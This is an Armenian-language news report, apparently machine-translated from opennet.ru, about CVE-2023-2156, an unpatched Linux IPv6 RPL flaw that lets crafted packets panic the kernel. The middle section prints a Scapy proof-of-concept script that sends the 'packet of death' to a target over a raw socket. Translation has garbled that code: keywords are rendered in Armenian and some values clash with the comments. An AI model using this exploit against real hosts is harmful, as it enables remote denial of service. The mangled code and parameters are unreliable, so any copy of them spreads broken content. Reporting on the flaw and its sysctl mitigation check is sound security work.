0-օրյա Linux IPv6 կույտի խոցելիություն, որը թույլ է տալիս հեռավոր միջուկի խափանում

Տեղեկություններ են բացահայտվել Linux-ի միջուկում չուղղված (0-օրյա) խոցելիության (CVE-2023-2156) մասին, որը թույլ է տալիս դադարեցնել համակարգը՝ ուղարկելով հատուկ մշակված IPv6 փաթեթներ (մահվան փաթեթ): Խնդիրն ի հայտ է գալիս միայն այն դեպքում, երբ միացված է RPL (Routing Protocol for Low-Power and Lossy Networks) արձանագրության աջակցությունը, որը լռելյայն անջատված է բաշխումներում և օգտագործվում է հիմնականում ներկառուցված սարքերում, որոնք աշխատում են մեծ փաթեթների կորստով անլար ցանցերում:

Խոցելիությունը պայմանավորված է RPL արձանագրության վերլուծման կոդում արտաքին տվյալների սխալ մշակմամբ, ինչը հանգեցնում է հաստատման ձախողման և միջուկի խուճապային վիճակի: IPv6 RPL փաթեթի վերնագրի վերլուծությունից ստացված տվյալները k_buff (Socket Buffer) կառուցվածքում տեղադրելու ժամանակ, եթե CmprI դաշտը դրված է 15, Segleft դաշտը՝ 1, իսկ CmprE՝ 0, ապա հասցեներով 48 բայթ վեկտորը ապասեղմվում է։ մինչև 528 բայթ և հայտնվում է մի իրավիճակ, երբ բուֆերի համար հատկացված հիշողությունը բավարար չէ: Այս դեպքում, skb_push ֆունկցիան, որն օգտագործվում է տվյալներ կառույցի մեջ մղելու համար, ստուգում է տվյալների չափի և բուֆերի միջև անհամեմատելիությունը՝ առաջացնելով խուճապի վիճակ՝ կանխելու բուֆերային սահմանից դուրս գրելը:

Օրինակ շահագործում. # Մենք կօգտագործենք Scapy փաթեթը scapy.all ներմուծումից * ներմուծման վարդակից # Օգտագործեք IPv6 ձեր LAN ինտերֆեյսից DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Մենք օգտագործում ենք վարդակներ փաթեթը ուղարկելու համար sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Ստեղծեք փաթեթը # Type = 3-ը սա դարձնում է RPL փաթեթ # Հասցեները պարունակում են 3 հասցե, բայց քանի որ CmprI-ը 15 է, առաջին երկու հասցեներից # յուրաքանչյուր օկտետ է դիտվում է որպես սեղմված հասցե # Segleft = 1 ուժեղացումը գործարկելու համար # lastentry = 0xf0 սահմանում է CmprI-ը 15-ի, իսկ CmprE-ը՝ 0-ի p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting,type(type): :", "a3::", "a8::"], segleft=7, lastentry=6xf1) # Ուղարկեք այս չար փաթեթը sockfd.sendto(բայթ(p), (DST_ADDR, 0))

Հատկանշական է, որ միջուկի մշակողները ծանուցվել են խոցելիության մասին դեռևս 2022 թվականի հունվարին և վերջին 15 ամիսների ընթացքում նրանք երեք անգամ փորձել են շտկել խնդիրը՝ թողարկելով patches 2022 թվականի սեպտեմբերին, 2022 թվականի հոկտեմբերին և 2023 թվականի ապրիլին, բայց ամեն անգամ շտկվել են։ բավարար չէ, և խոցելիությունը չի կարող վերարտադրվել: Ի վերջո, ZDI նախագիծը, որը համակարգում էր աշխատանքը խոցելիությունը շտկելու ուղղությամբ, որոշեց հրապարակել մանրամասն տեղեկատվություն խոցելիության մասին՝ առանց սպասելու, որ միջուկում հասանելի լինի աշխատանքային շտկում:

Այսպիսով, խոցելիությունը դեռ մնում է չֆիքսված։ Մասնավորապես, 6.4-rc2 միջուկում ընդգրկված կարկատումն անարդյունավետ է։ Օգտագործողներին խորհուրդ է տրվում ստուգել, ​​որ RPL արձանագրությունը չի օգտագործվում իրենց համակարգերում, ինչը կարելի է անել՝ օգտագործելով sysctl -a | grep -i rpl_seg_enabled

Source: opennet.ru

Добавить комментарий